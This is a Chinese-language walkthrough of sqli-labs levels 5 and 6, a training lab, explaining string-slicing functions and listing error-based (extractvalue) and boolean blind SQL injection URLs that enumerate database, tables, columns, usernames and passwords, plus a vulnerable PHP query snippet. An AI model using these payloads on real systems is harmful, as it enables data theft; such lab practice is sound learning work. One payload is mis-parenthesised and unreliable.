sqli-labs-master 盲注+第五關


一、基於布爾 SQL 盲注

1、構造邏輯判斷

(1)sql注入截取字符串常用涵數

 在sql注入中,往往會用到截取字符串的問題,例如不回顯的情況下進行的注入,也稱為盲注,這種情況下往往需要一個一個字符的去猜解,過程中需要用到截取字符串。本文中主要列舉三個函數和該函數注入過程中的一些用例。

函數:mid()  substr()   left()

mid()函數為截取字符串一部分。mid(column_name,start,length)

column_name 必需,要提取字符的字段

start                必需,規定開始位置(起始為1)

length            可選,要返回的字符數,如果省略則返回剩余文本

eg:str="123456" mid(str,2,1)  結果為2

substr()

 Substr()和substring()函數實現的功能是一樣的,均為截取字符串。

    string substring(string, start, length)

    string substr(string, start, length)

    參數描述同mid()函數,第一個參數為要處理的字符串,start為開始位置,length為截取的長度

left()函數

Left()得到字符串左部指定個數的字符

Left ( string, n )        string為要截取的字符串,n為長度。

•基於時間的 SQL 盲注--延時注入

•基於報錯的 SQL 盲注-構造 payload 讓信息通過錯誤提示回顯出來

第五關

報錯注入:

爆數據庫:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

 

 爆表名:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

 

 爆列名:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

 

 爆數據:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+

爆密碼時密碼不全,要用截取函數截取剩下的密碼

and extractvalue(1,concat(0x23,substr((select password from users limit 0,1),32,1),0x23))

布爾注入:

判斷數據庫長度:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length(database())>0--+

http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length(database())=8--+ 數據庫有八位

 

 依次確定數據庫名稱組成:

http://10.10.32.165/sqli-labs-master/Less-5?id=1' and ascii(substr(database(),1,1)=83)--+   s

 

 判斷數據表的個數:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0--+

 

 判斷表的長度:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0--+

 

 

 

 

 

依次確定表明:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79--+

確定列數:and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0--+

確定烈的長度:and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1)) > 0--+

依次確定列名:and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)) > 79

依次確定數據:and ascii(substr((select username from users limit 0,1),1,1))>79

 

第六關:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

將第五關的單引號改為雙引號

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM